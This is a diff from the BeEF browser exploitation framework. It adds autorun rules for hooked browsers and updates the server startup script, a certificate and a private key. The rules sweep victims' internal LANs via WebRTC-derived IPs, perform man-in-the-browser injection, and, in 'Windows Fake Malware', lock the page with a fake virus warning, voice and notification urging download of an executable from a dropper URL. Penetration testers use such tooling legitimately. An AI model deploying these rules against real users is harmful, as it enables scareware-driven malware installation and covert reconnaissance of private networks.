+{"name": "LAN Flash Scan",
+  "author": "bcoles",
+  "browser": ["FF", "C"],
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "cross_origin_scanner_flash",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
+      "options": {
+        "ipRange":"<<mod_input>>",
+        "ports":"80,8080",
+        "threads":"2",
+        "timeout":"5"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_flash_scan_common.json

@@ -0,0 +1,19 @@
+{"name": "LAN Flash Scan (Common IPs)",
+  "author": "bcoles",
+  "browser": ["FF", "C"],
+  "modules": [
+    {"name": "cross_origin_scanner_flash",
+      "condition": null,
+      "code": null,
+      "options": {
+        "ipRange":"common",
+        "ports":"80,8080",
+        "threads":"2",
+        "timeout":"5"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/lan_http_scan.json

@@ -0,0 +1,25 @@
+{"name": "LAN HTTP Scan",
+  "author": "bcoles",
+  "browser": ["FF", "C"],
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "get_http_servers",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
+      "options": {
+        "rhosts":"<<mod_input>>",
+        "ports":"80,8080",
+        "threads":"3",
+        "wait":"5",
+        "timeout":"10"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_http_scan_common.json

@@ -0,0 +1,19 @@
+{"name": "LAN HTTP Scan (Common IPs)",
+  "author": "bcoles",
+  "modules": [
+    {"name": "get_http_servers",
+      "condition": null,
+      "code": null,
+      "options": {
+        "rhosts":"common",
+        "ports":"80,8080",
+        "threads":"3",
+        "wait":"5",
+        "timeout":"10"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/lan_ping_sweep.json

@@ -0,0 +1,22 @@
+{"name": "LAN Ping Sweep",
+  "author": "bcoles",
+  "browser": "FF",
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "ping_sweep",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
+      "options": {
+        "rhosts":"<<mod_input>>",
+        "threads":"3"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_ping_sweep_common.json

@@ -0,0 +1,17 @@
+{"name": "LAN Ping Sweep (Common IPs)",
+  "author": "bcoles",
+  "browser": "FF",
+  "modules": [
+    {"name": "ping_sweep",
+      "condition": null,
+      "code": null,
+      "options": {
+        "rhosts":"common",
+        "threads":"3"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/lan_port_scan.json

@@ -0,0 +1,25 @@
+{"name": "LAN Port Scan",
+  "author": "aburro & aussieklutz",
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "port_scanner",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
+      "options": {
+        "ipHost":"<<mod_input>>",
+        "ports":"80,8080",
+        "closetimeout":"1100",
+        "opentimeout":"2500",
+        "delay":"600",
+        "debug":"false"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_sw_port_scan.json

@@ -0,0 +1,21 @@
+{"name": "LAN SW Port Scan",
+  "author": "aburro & aussieklutz",
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "sw_port_scanner",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
+      "options": {
+        "ipHost":"192.168.1.10",
+        "ports":"80,8080"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/man_in_the_browser.json

@@ -0,0 +1,13 @@
+{"name": "Perform Man-In-The-Browser",
+  "author": "mgeeky",
+  "modules": [
+    {"name": "man_in_the_browser",
+      "condition": null,
+      "code": null,
+      "options": {}
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/raw_javascript.json

@@ -0,0 +1,15 @@
+{
+  "name": "Raw JavaScript",
+  "author": "wade@bindshell.net",
+  "modules": [
+    {"name": "raw_javascript",
+      "condition": null,
+      "options": {
+         "cmd": "alert(0xBeEF);"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/record_snapshots.json

@@ -0,0 +1,15 @@
+{"name": "Collects multiple snapshots of the webpage within Same-Origin",
+  "author": "mgeeky",
+  "modules": [
+    {"name": "spyder_eye",
+      "condition": null,
+      "options": {
+        "repeat":"10",
+        "delay":"3000"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/win_fake_malware.json

@@ -0,0 +1,35 @@
+// note: update your dropper URL (dropper.local) in each of the modules below
+{
+  "name": "Windows Fake Malware",
+  "author": "bcoles",
+  "os": "Windows",
+  "modules": [
+    {
+      "name": "blockui",
+      "condition": null,
+      "options": {
+        "message": "<img src='data:image/png;base64,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'/><p>This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online. <p><a href='http://dropper.local/malware_removal_tool.exe' onclick='$j.unblockUI();'>Microsoft Malware Removal Toolkit</a></p>",
+        "timeout": "9999"
+      }
+    },
+    {
+      "name": "text_to_voice",
+      "condition": null,
+      "options": {
+        "message": "This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.",
+        "language": "en"
+      }
+    },
+    {
+      "name": "fake_notification_ie",
+      "condition": null,
+      "options": {
+        "url": "http://dropper.local/malware_removal_tool.exe",
+        "notification_text": "SECURITY WARNING: Download the <a href='http://dropper.local/malware_removal_tool.exe' title='Microsoft Malware Removal Toolkit'>Microsoft Malware Removal Toolkit</a> as soon as possible."
+      }
+    }
+  ],
+  "execution_order": [0,1,2],
+  "execution_delay": [0,0,0],
+  "chain_mode": "sequential"
+}

beef

@@ -1,131 +1,286 @@
 #!/usr/bin/env ruby
 
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 
-# stop deprecation warning from being displayed
+#
+# @note stop Fixnum deprecation warning from being displayed
+#
 $VERBOSE = nil
 
-# @note Version check to ensure BeEF is running Ruby 1.9 >
-if  RUBY_VERSION < '1.9'
-  puts "\n"
-  puts "Ruby version " + RUBY_VERSION + " is no longer supported. Please upgrade 1.9 or later."
-  puts "OSX:"
-  puts "See Readme"
-  puts "\n"
-  exit
+#
+# @note Version check to ensure BeEF is running Ruby 3.0+
+#
+min_ruby_version = '3.0'
+if RUBY_VERSION < min_ruby_version
+  puts
+  puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version #{min_ruby_version} or later."
+  puts
+  exit 1
 end
 
-$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
-$root_dir = File.expand_path('..', __FILE__)
-
-# @note Prevent some errors on encoding: encoding handling changed (improved) from 1.8.7 to 1.9.1/2.
-if RUBY_VERSION =~ /1.9/
-  Encoding.default_external = Encoding::UTF_8
-  Encoding.default_internal = Encoding::UTF_8
+#
+# @note Platform check to ensure BeEF is not running on Windows
+#
+if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
+  puts
+  puts "Ruby platform #{RUBY_PLATFORM} is not supported."
+  puts
+  exit 1
 end
 
-# @note Require core loader's
+#
+# @note set load path, application root directory and user preferences directory
+#
+$root_dir = File.join(File.expand_path(File.dirname(File.realpath(__FILE__))), '.')
+$:.unshift($root_dir)
+$home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze
+
+# @note Parse BeEF CLI options early (prevents Rack help from taking over)
+require 'core/main/console/commandline'
+BeEF::Core::Console::CommandLine.parse
+
+#
+# @note Require core loader
+#
 require 'core/loader'
+require 'timeout'
 
-# @note Initialize the Configuration object. Eventually loads a different config.yaml if -c flag was passed.
+#
+# @note Ask user if they would like to update beef
+#
+if File.exist?("#{$root_dir}git") && BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
+  if BeEF::Core::Console::CommandLine.parse[:update_auto] == true
+    print 'Checking latest BeEF repository and updating'
+    `git pull && bundle`
+  elsif `git rev-parse master` != `git rev-parse origin/master`
+    begin
+      Timeout.timeout(5) do
+        puts '-- BeEF Update Available --'
+        print 'Would you like to update to lastest version? y/n: '
+        response = gets
+        `git pull && bundle` if response&.strip == 'y'
+      end
+    rescue Timeout::Error
+      puts "\nUpdate Skipped with input timeout"
+    end
+  end
+end
+
+#
+# @note Create ~/.beef/
+#
+begin
+  FileUtils.mkdir_p($home_dir) unless File.directory?($home_dir)
+rescue => e
+  print_error "Could not create '#{$home_dir}': #{e.message}"
+  exit 1
+end
+
+#
+# @note Initialize the Configuration object. Loads a different config.yaml if -c flag was passed.
+#
 if BeEF::Core::Console::CommandLine.parse[:ext_config].empty?
   config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml")
 else
-  config = BeEF::Core::Configuration.new("#{$root_dir}/#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
+  config = BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
 end
 
+#
+# @note set log level
+#
+BeEF.logger.level = config.get('beef.debug') ? Logger::DEBUG : Logger::WARN
+
+#
+# @note Check the system language settings for UTF-8 compatibility
+#
+env_lang = ENV['LANG']
+if env_lang !~ /(utf8|utf-8)/i
+  print_warning "Warning: System language $LANG '#{env_lang}' does not appear to be UTF-8 compatible."
+  if env_lang =~ /\A([a-z]+_[a-z]+)\./i
+    country = $1
+    print_more "Try: export LANG=#{country}.utf8"
+  end
+end
+
+#
+# @note Check if port and WebSocket port need to be updated from command line parameters
+#
+unless BeEF::Core::Console::CommandLine.parse[:port].empty?
+  config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port])
+end
+
+unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
+  config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
+end
+
+#
+# @note Validate configuration file
+#
+unless BeEF::Core::Configuration.instance.validate
+  exit 1
+end
+
+#
+# @note Exit on default credentials
+#
+if config.get("beef.credentials.user").eql?('beef') && config.get("beef.credentials.passwd").eql?('beef')
+  print_error "ERROR: Default username and password in use!"
+  print_more "Change the beef.credentials.passwd in config.yaml"
+  exit 1
+end
+
+#
+# @note Validate beef.http.public and beef.http.public_port
+#
+unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host'))
+  print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}"
+  exit 1
+end
+
+unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port'))
+  print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}"
+  exit 1
+end
+
+#
 # @note After the BeEF core is loaded, bootstrap the rest of the framework internals
+#
 require 'core/bootstrap'
 
-# @note Loads enabled extensions
-BeEF::Extensions.load
-
+#
 # @note Prints the BeEF ascii art if the -a flag was passed
+#
 if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
   BeEF::Core::Console::Banners.print_ascii_art
 end
 
+#
 # @note Prints BeEF welcome message
+#
 BeEF::Core::Console::Banners.print_welcome_msg
 
+#
+# @note Loads enabled extensions
+#
+BeEF::Extensions.load
+
+#
 # @note Loads enabled modules
+#
 BeEF::Modules.load
 
-# @note Disable reverse dns
+#
+# @note Disable reverse DNS
+#
 Socket.do_not_reverse_lookup = true
 
-# @note Database setup - use DataMapper::Logger.new($stdout, :debug) for development debugging
-case config.get("beef.database.driver")
-  when "sqlite"
-    DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
-  when "mysql","postgres"
-    DataMapper.setup(:default,
-                     :adapter => config.get("beef.database.driver"),
-                     :host => config.get("beef.database.db_host"),
-                     :username => config.get("beef.database.db_user"),
-                     :password => config.get("beef.database.db_passwd"),
-                     :database => config.get("beef.database.db_name"),
-                     :encoding => config.get("beef.database.db_encoding")
-    )
-  else
-    print_error 'No default database selected. Please add one in config.yaml'
-end
-
+#
+# @note Database setup
+#
+#
+# @note Load the database
+#
+db_file = config.get('beef.database.file')
 # @note Resets the database if the -x flag was passed
 if BeEF::Core::Console::CommandLine.parse[:resetdb]
   print_info 'Resetting the database for BeEF.'
-  DataMapper.auto_migrate!
-else
-  DataMapper.auto_upgrade!
+  begin
+    File.delete(db_file) if File.exist?(db_file)
+  rescue => e
+    print_error("Could not remove '#{db_file}' database file: #{e.message}")
+    exit(1)
+  end
 end
 
+# Connect to DB
+ActiveRecord::Base.logger = nil
+OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
+# otr-activerecord require you to manually establish the connection with the following line
+#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.
+if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
+  OTR::ActiveRecord.establish_connection!
+end
+
+# Migrate (if required)
+ActiveRecord::Migration.verbose = false # silence activerecord migration stdout messages
+ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
+context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)
+if context.needs_migration?
+  ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate
+end
+
+#
 # @note Extensions may take a moment to load, thus we print out a please wait message
+#
 print_info 'BeEF is loading. Wait a few seconds...'
 
+#
 # @note Execute migration procedure, checks for new modules
-BeEF::Core::Migration.instance.update_db!
+#
+begin
+  BeEF::Core::Migration.instance.update_db!
+rescue => e
+  print_error("Could not update '#{db_file}' database file: #{e.message}")
+  exit(1)
+end
 
+#
 # @note Create HTTP Server and prepare it to run
+#
 http_hook_server = BeEF::Core::Server.instance
 http_hook_server.prepare
 
+begin
+  BeEF::Core::Logger.instance.register('System', 'BeEF server started')
+rescue => e
+  print_error("Database connection failed: #{e.message}")
+  exit(1)
+end
+
+#
 # @note Prints information back to the user before running the server
+#
 BeEF::Core::Console::Banners.print_loaded_extensions
 BeEF::Core::Console::Banners.print_loaded_modules
 BeEF::Core::Console::Banners.print_network_interfaces_count
 BeEF::Core::Console::Banners.print_network_interfaces_routes
+BeEF::Core::Console::Banners.print_http_proxy
+BeEF::Core::Console::Banners.print_dns
 
-#@note Prints the API key needed to use the RESTful API
+#
+# @note Prints the API key needed to use the RESTful API
+#
 print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
 
+#
+# @note Load the GeoIP database
+#
+BeEF::Core::GeoIp.instance
+
+#
 # @note Call the API method 'pre_http_start'
+#
 BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
 
-# @note Start the HTTP Server, we additionally check whether we load the Console Shell or not
-if config.get("beef.extension.console.shell.enable") == true
-  require 'extensions/console/shell'
-  puts ""
-  begin
-    FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder")))
-    BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt,
-                                        BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run
-  rescue Interrupt
-  end
-else
-  print_info 'BeEF server started (press control+c to stop)'
-  http_hook_server.start
+#
+# @note Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directory
+#
+BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory
+
+#
+# @note Start the WebSocket server
+#
+if config.get("beef.http.websocket.enable")
+  BeEF::Core::Websocket::Websocket.instance
+  BeEF::Core::Console::Banners.print_websocket_servers
 end
+
+#
+# @note Start HTTP server
+#
+print_info 'BeEF server started (press control+c to stop)'
+http_hook_server.start

beef_cert.pem

@@ -0,0 +1,24 @@
+-----BEGIN CERTIFICATE-----
+MIIECTCCAnGgAwIBAgIUbx/YybkSOL8uO0qikl/wsL4xLeIwDQYJKoZIhvcNAQEL
+BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTE5MDIxNjEzMjYxNFoXDTI5MDIx
+MzEzMjYxNFowFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBojANBgkqhkiG9w0BAQEF
+AAOCAY8AMIIBigKCAYEAteQJ2fooOffGU8jFkArCsFaJZW5WSuc5j7i2ciG0LY2C
+lVg1Uy7/6xHe048RJAD9AnWajf9Jt7NpAAoyRmFJOepZS8CStON4mBrKUFI4rzAB
+W9F7nov5+k+GK11kuvPFyAQCGs82RpGXsEP2ktsimsWvI8jnt7B+DXltqxeWavXB
+TYOTsDhyRxXcNPGgenOabtya1XsAecTs4JPOsV4L/hnTS70X8BNOcMRFRNb3W5C0
+w3vnid9Q6jhDRC6ghpeVWgnlymqV0Y6v1pbWZRs71sKQF/V5Td5zA8pr9r30YFAD
+Wbkb33vicU5BkZ8PQeUygqtqKOhni9i8Yg1otkXmqWsmo5sV/GgKHvkxOoQBlzv3
+hhMyYEnKjhPuepKl/VW17zRFdMCQZbvtW9/WBX4AwtKNAxYiRRO5jvDU1pX0nfXw
+86ZPfkbkPdJJYqZqqsOSSOVSpCkoLJv/owaY10XwgSEl8rA+3t03/9B6s09Q0o28
+0zXu/CMiSBNSEJlJSNdZAgMBAAGjUzBRMB0GA1UdDgQWBBTULhamHun+PWMkHDzg
+5yHcv0KOmTAfBgNVHSMEGDAWgBTULhamHun+PWMkHDzg5yHcv0KOmTAPBgNVHRMB
+Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBgQAZo9xPTktJ1aTxTXfLKivqbPin
+5CiRl5DWh1niPUFowmuAGbDCYOHA/+fzhBhFWj3LVaX2dQSpYxiqnfb5FWaxNK+8
+9A0AKgf8f2cpJ22QleDFOsyCw8jxzSfmOKKQLifY5Ty5C5P8xb9T0B7LbyR8r17p
+sr77eM/5tBpsIIh40AZjoDhi/HHrtqxEb+DgnTRHIBMmzvwkk+v4iXBDCO5BHFof
+gVXOF3MrovhH+qA8HFl9diJ6MtTltVAqI0eShBLd2MJ068qKqb+I6pyXGmlrk9Ei
+H0XrKlKEKjyum6ZEPr5Mn+NA+4ePRv1mPHoaopJoNhgRislfryGFLJwxeuMJfQOU
+oZTmgK8Ur0TYLl/wqf9avX3A8hkffNZXukmzNwjzLVG252RPA2Iq3y1+7VgOjaBJ
+rNbwArYInhfF5hJesjo3LAD9H29dFxR6dztpOcDCkaOZEdlz+fvqUFYJzwuHmuSi
+DLyqAOr77CjoWEMSHcXUEGUeJDKVqLgzqC9lqf4=
+-----END CERTIFICATE-----

beef_key.pem

@@ -0,0 +1,40 @@
+-----BEGIN PRIVATE KEY-----
+MIIG/gIBADANBgkqhkiG9w0BAQEFAASCBugwggbkAgEAAoIBgQC15AnZ+ig598ZT
+yMWQCsKwVollblZK5zmPuLZyIbQtjYKVWDVTLv/rEd7TjxEkAP0CdZqN/0m3s2kA
+CjJGYUk56llLwJK043iYGspQUjivMAFb0Xuei/n6T4YrXWS688XIBAIazzZGkZew
+Q/aS2yKaxa8jyOe3sH4NeW2rF5Zq9cFNg5OwOHJHFdw08aB6c5pu3JrVewB5xOzg
+k86xXgv+GdNLvRfwE05wxEVE1vdbkLTDe+eJ31DqOENELqCGl5VaCeXKapXRjq/W
+ltZlGzvWwpAX9XlN3nMDymv2vfRgUANZuRvfe+JxTkGRnw9B5TKCq2oo6GeL2Lxi
+DWi2ReapayajmxX8aAoe+TE6hAGXO/eGEzJgScqOE+56kqX9VbXvNEV0wJBlu+1b
